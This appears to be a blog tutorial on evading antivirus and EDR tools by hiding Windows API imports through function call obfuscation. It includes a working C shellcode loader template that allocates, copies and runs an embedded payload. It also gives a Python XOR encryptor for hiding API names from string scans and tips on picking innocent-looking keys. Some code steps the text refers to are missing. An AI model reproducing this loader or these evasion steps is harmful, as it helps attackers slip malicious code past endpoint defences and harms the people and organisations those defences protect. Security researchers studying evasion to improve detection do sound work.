AV/EDR Evasion: Function Call Obfuscation

AV/EDR Evasion: Function Call Obfuscation

Why do we need Function Call Obfuscation?

PE module like .exe and .dll usually uses external functions. Upon running, it calls functions within external DLLs, which will be mapped into process memory to make these functions available to the process code.

Therefore, Antivirus reviews the external DLLs and functions of a binary to determine if it is malicious. AV engines will look at the IAT (Import Address Table – http://sandsprite.com/CodeStuff/Understanding_imports.html)  of a PE file at runtime and review the functions, then compare with functions used by other malwares. Frankly, this technique generates quite a few false positive, yet it’s still widely adopted by most AV engines.

Some functions that are generally blacklisted by AV engines include:

  • VirtualAlloc
  • VirtualProtect
  • CreateThread
  • RtlMoveMemory
  • WaitForSingleObject

And here’s Function Call Obfuscation comes into play. This technique hides the DLL and external functions during runtime. To achieve this, normal windows API functions like GetModuleHandle and GetProcAdddress could be helpful.

Take VirtualAlloc as an example. In short, after Function Call Obfuscation, the binary looks for the address of VirtualAlloc inside kernel32.dll and stores it in the pVirtualAlloc variable. So the VirtualAlloc function could be called with the pVirtualAlloc pointer.

How to do it

The following is a template that executes shellcode, this time Calc.exe will be launched. (https://github.com/flawdC0de/Ev1L/blob/main/implant.cpp)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char calc_payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  ...
};
unsigned int calc_len = sizeof(calc_payload);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
 int j;
 
 j = 0;
 for (int i = 0; i < data_len; i++) {
  if (j == key_len - 1) j = 0;

  data[i] = data[i] ^ key[j];
  j++;
 }
}

int main(void) {
    
 void * exec_mem;
 BOOL rv;
 HANDLE th;
    DWORD oldprotect = 0;
 char key[] = "";

 // Allocate buffer for payload
 exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
 printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

 //XOR((char *) calc_payload, calc_len, key, sizeof(key));

 // Copy payload to the buffer
 RtlMoveMemory(exec_mem, calc_payload, calc_len);
 
 // Make the buffer executable
 rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

 printf("\nHit me!\n");
 getchar();

 // If all good, run the payload
 if ( rv != 0 ) {
   th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
   WaitForSingleObject(th, -1);
 }

 return 0;
}

As we can see, the program uses kernel32.dll and imports VirtualAlloc. Let’s get rid of it.

Let’s take a look at the declaration of VirtualAlloc:

To change it as our desired pVirtualAlloc pointer, one easy way is the following:

LPVOID (WINAPI * pVirtualAlloc) (
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

Note that we only add (WINAPI * pVirtualAlloc). Don’t forget to remove [in] because they’re not needed and feel free to delete spaces.

So the obfuscated code will be like this:

And we could no longer find VirtualAlloc on the IAT.

Done? Wait!

Even after Function Call Obfuscation, the VirtualAlloc is still easily identified if AV engines extract all the strings from the binary (and they do!). It’s here because we use the stream in cleartext when we are calling GetProcAddress.

So the next step is encryption to help us remove the use of the cleartext VirtualAlloc. The function of XOR encryption is already included in our template implant.cpp.

And the python XOR encryptor code is as follows:

# payload encryption with XOR

import sys

KEY = "cybersecarmory"

def xor(data, key):
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i%len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	
	return output_str

def printC(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

try:
    plaintext = open(sys.argv[1], "r").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = xor(plaintext, KEY)

printC(ciphertext)

With the encryptor, we supply the key and use printC function so that we can obtain the encrypted “VirtualAlloc” in C format.

Note: For the key, those obviously malicious ones like “SecretKey” should be avoided. One simple trick is search for the previously dumped strings and choose one that looks benign, although “cybersecarmory” will be used here.

Back to the implant.cpp, the key and encrypted value should be supplied. We could therefore replace the “VirtualAlloc” at where we call GetProcAddress. Also, don’t forget to put the decryption function.

And now “VirtualAlloc” does not appear in strings or IAT. Bravo!!

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *